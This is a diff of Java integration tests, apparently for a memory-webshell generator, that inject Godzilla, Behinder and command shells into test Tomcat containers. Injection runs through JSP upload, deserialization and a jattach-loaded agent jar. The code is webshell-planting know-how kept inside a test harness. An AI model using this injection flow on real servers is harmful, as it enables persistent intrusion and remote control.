import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Disabled;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
class GodzillaGeneratorTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void generate() {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(Constants.SERVLET)
|
||||||
|
.targetJreVersion(Opcodes.V1_6)
|
||||||
|
.debug(true)
|
||||||
|
.build();
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
.shellClass(GodzillaServlet.class)
|
||||||
|
.pass("pass")
|
||||||
|
.key("key")
|
||||||
|
.headerName("User-Agent")
|
||||||
|
.headerValue("test").build();
|
||||||
|
DynamicType.Builder<?> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
|
||||||
|
Class<?> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
|
||||||
|
Object o = loaded.getDeclaredConstructor().newInstance();
|
||||||
|
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
|
||||||
|
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
|
||||||
|
assertEquals(godzillaConfig.getHeaderValue(), ClassUtils.getFieldValue(o, "headerValue"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -17,6 +17,10 @@ dependencies {
|
|||||||
testImplementation project(":behinder")
|
testImplementation project(":behinder")
|
||||||
testImplementation project(":godzilla")
|
testImplementation project(":godzilla")
|
||||||
testImplementation project(':generator')
|
testImplementation project(':generator')
|
||||||
|
testImplementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
|
testImplementation 'javax.websocket:javax.websocket-api:1.1'
|
||||||
|
testImplementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
|
testImplementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
testImplementation 'org.hamcrest:hamcrest:3.0'
|
testImplementation 'org.hamcrest:hamcrest:3.0'
|
||||||
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
|
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
|
||||||
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
||||||
|
|||||||
Executable
+2
@@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
ps -ef | grep Bootstrap | grep -v grep | awk '{print $2}' | tr -d '\n'
|
||||||
@@ -22,6 +22,9 @@ public class ContainerTool {
|
|||||||
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
|
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
|
||||||
public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
|
public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
|
||||||
|
|
||||||
|
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
|
||||||
|
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
String host = container.getHost();
|
String host = container.getHost();
|
||||||
int port = container.getMappedPort(8080);
|
int port = container.getMappedPort(8080);
|
||||||
|
|||||||
+72
-23
@@ -4,8 +4,19 @@ import com.reajason.javaweb.GeneratorMain;
|
|||||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.packer.JarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -13,17 +24,58 @@ import lombok.extern.slf4j.Slf4j;
|
|||||||
*/
|
*/
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class ShellAssertionTool {
|
public class ShellAssertionTool {
|
||||||
|
|
||||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer, GenericContainer<?> container) {
|
||||||
String shellUrl = url + "/test";
|
String shellUrl = url + "/test";
|
||||||
|
|
||||||
InjectorConfig injectorConfig = new InjectorConfig();
|
String urlPattern = null;
|
||||||
if (shellType.endsWith(Constants.SERVLET)
|
if (shellType.endsWith(Constants.SERVLET)
|
||||||
|| shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)
|
|| shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)
|
||||||
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|
||||||
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
|
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
|
||||||
) {
|
) {
|
||||||
String urlPattern = "/" + shellTool + shellType + packer.name();
|
urlPattern = "/" + shellTool + shellType + packer.name();
|
||||||
shellUrl = url + urlPattern;
|
shellUrl = url + urlPattern;
|
||||||
|
}
|
||||||
|
|
||||||
|
GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
|
||||||
|
|
||||||
|
String content = null;
|
||||||
|
if (packer.getPacker() instanceof JarPacker) {
|
||||||
|
byte[] bytes = packer.getPacker().packBytes(generateResult);
|
||||||
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
|
Files.write(tempJar, bytes);
|
||||||
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
|
container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath);
|
||||||
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
|
String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
||||||
|
String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
|
||||||
|
assertTrue(stdout.contains("JVM response code = 0"));
|
||||||
|
} else {
|
||||||
|
content = packer.getPacker().pack(generateResult);
|
||||||
|
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (shellTool) {
|
||||||
|
case Godzilla:
|
||||||
|
GodzillaShellTool.testIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
||||||
|
break;
|
||||||
|
case Command:
|
||||||
|
CommandShellTool.testIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
||||||
|
break;
|
||||||
|
case Behinder:
|
||||||
|
BehinderShellTool.testIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||||
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
|
if (StringUtils.isNotBlank(urlPattern)) {
|
||||||
injectorConfig.setUrlPattern(urlPattern);
|
injectorConfig.setUrlPattern(urlPattern);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -35,41 +87,38 @@ public class ShellAssertionTool {
|
|||||||
.debug(true)
|
.debug(true)
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = null;
|
||||||
|
String uniqueName = shellTool + shellType + packer.name();
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
case Godzilla:
|
case Godzilla:
|
||||||
String godzillaPass = "pass";
|
String godzillaPass = "pass";
|
||||||
String godzillaKey = "key";
|
String godzillaKey = "key";
|
||||||
String godzillaHeaderValue = "Godzilla" + shellType + packer.name();
|
shellToolConfig = GodzillaConfig.builder()
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
.pass(godzillaPass).key(godzillaKey)
|
.pass(godzillaPass).key(godzillaKey)
|
||||||
.headerName("User-Agent").headerValue(godzillaHeaderValue)
|
.headerName("User-Agent").headerValue(uniqueName)
|
||||||
.build();
|
.build();
|
||||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, godzillaHeaderValue);
|
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName);
|
||||||
String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
|
|
||||||
assertInjectIsOk(url, shellType, shellTool, content, packer);
|
|
||||||
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
|
|
||||||
break;
|
break;
|
||||||
case Command:
|
case Command:
|
||||||
String paramName = "Command" + shellType + packer.name();
|
shellToolConfig = CommandConfig.builder()
|
||||||
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
|
.paramName(uniqueName)
|
||||||
String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
|
.build();
|
||||||
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
|
log.info("generated {} command shell with paramName: {}", shellType, uniqueName);
|
||||||
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
|
|
||||||
CommandShellTool.testIsOk(shellUrl, commandConfig);
|
|
||||||
break;
|
break;
|
||||||
case Behinder:
|
case Behinder:
|
||||||
String behinderPass = "pass";
|
String behinderPass = "pass";
|
||||||
String behinderHeaderValue = "Behinder" + shellType + packer.name();
|
shellToolConfig = BehinderConfig.builder()
|
||||||
BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
|
.pass(behinderPass)
|
||||||
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
|
.headerName("User-Agent")
|
||||||
String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
|
.headerValue(uniqueName)
|
||||||
assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
|
.build();
|
||||||
BehinderShellTool.testIsOk(shellUrl, behinderConfig);
|
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer, GenericContainer<?> container) {
|
||||||
switch (packer) {
|
switch (packer) {
|
||||||
case JSP -> {
|
case JSP -> {
|
||||||
String uploadEntry = url + "/upload";
|
String uploadEntry = url + "/upload";
|
||||||
|
|||||||
+10
-4
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.TomcatShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.tomcatPid;
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -35,6 +36,8 @@ public class Tomcat10ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -63,7 +66,10 @@ public class Tomcat10ContainerTest {
|
|||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -77,6 +83,6 @@ public class Tomcat10ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-5
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.TomcatShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.TomcatShell;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -37,6 +36,8 @@ public class Tomcat11ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -53,7 +54,10 @@ public class Tomcat11ContainerTest {
|
|||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -67,6 +71,6 @@ public class Tomcat11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-4
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.TomcatShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +36,8 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -52,7 +54,10 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -66,6 +71,6 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+13
-5
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.TomcatShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
@@ -14,11 +15,12 @@ import org.testcontainers.containers.GenericContainer;
|
|||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.nio.file.Path;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warExpressionFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -32,9 +34,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Tomcat8ContainerTest {
|
public class Tomcat8ContainerTest {
|
||||||
public static final String imageName = "tomcat:8-jre8";
|
public static final String imageName = "tomcat:8-jre8";
|
||||||
|
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -80,20 +86,22 @@ public class Tomcat8ContainerTest {
|
|||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
|
